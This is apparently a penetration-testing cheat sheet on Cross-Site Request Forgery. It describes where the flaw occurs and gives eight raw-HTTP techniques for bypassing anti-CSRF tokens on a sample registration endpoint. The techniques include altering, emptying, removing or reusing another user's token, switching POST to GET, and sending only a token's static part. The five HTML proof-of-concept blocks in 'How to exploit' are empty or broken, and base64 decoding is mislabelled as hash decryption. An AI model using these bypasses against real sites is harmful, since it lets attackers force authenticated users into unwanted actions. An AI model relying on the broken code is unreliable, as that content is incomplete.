# Cross Site Request Forgery (CSRF)
## Introduction
Cross-Site Request Forgery (CSRF/XSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated
## Where to find
Usually found in forms. Try submit the form and check the HTTP request. If the HTTP request does not have a CSRF token then it is likely to be vulnerable to a CSRF attack.
## How to exploit
1. HTML GET Method
```html
Click Me
```
2. HTML POST Method
```html
```
3. JSON GET Method
```html
```
4. JSON POST Method
```html
```
5. Multipart request
```html
Multipart CSRF PoC
Click Submit request
```
# Bypass CSRF Token
But in some cases, even though there is a CSRF token on the form on the website. CSRF tokens can still be bypassed by doing a few things:
1. Change single character
```
POST /register HTTP/1.1
Host: target.com
...
username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa
```
Try this to bypass
```
POST /register HTTP/1.1
Host: target.com
...
username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaab
```
2. Sending empty value of token
```
POST /register HTTP/1.1
Host: target.com
...
username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa
```
Try this to bypass
```
POST /register HTTP/1.1
Host: target.com
...
username=dapos&password=123456&token=
```
3. Replace the token with same length
```
POST /register HTTP/1.1
Host: target.com
...
username=dapos&password=123456&token=aaaaaa
```
Try this to bypass
```
POST /register HTTP/1.1
Host: target.com
...
username=dapos&password=123456&token=aaabaa
```
4. Changing POST / GET method
```
POST /register HTTP/1.1
Host: target.com
...
username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa
```
Try this to bypass
```
GET /register?username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa HTTP/1.1
Host: target.com
...
```
5. Remove the token from request
```
POST /register HTTP/1.1
Host: target.com
...
username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa
```
Try this to bypass
```
POST /register HTTP/1.1
Host: target.com
...
username=dapos&password=123456
```
6. Use another user's valid token
```
POST /register HTTP/1.1
Host: target.com
...
username=dapos&password=123456&token=ANOTHER_VALID_TOKEN
```
7. Try to decrypt hash
```
POST /register HTTP/1.1
Host: target.com
...
username=dapos&password=123456&token=MTIzNDU2
```
MTIzNDU2 => 123456 with base64
8. Sometimes anti-CSRF token is composed by 2 parts, one of them remains static while the others one dynamic
```
POST /register HTTP/1.1
Host: target.com
...
username=dapos&password=123456&token=vi802jg9f8akd9j123
```
When we register again, the request like this
```
POST /register HTTP/1.1
Host: target.com
...
username=dapos&password=123456&token=vi802jg9f8akd9j124
```
If you notice "vi802jg9f8akd9j" part of the token remain same, you just need to send with only static part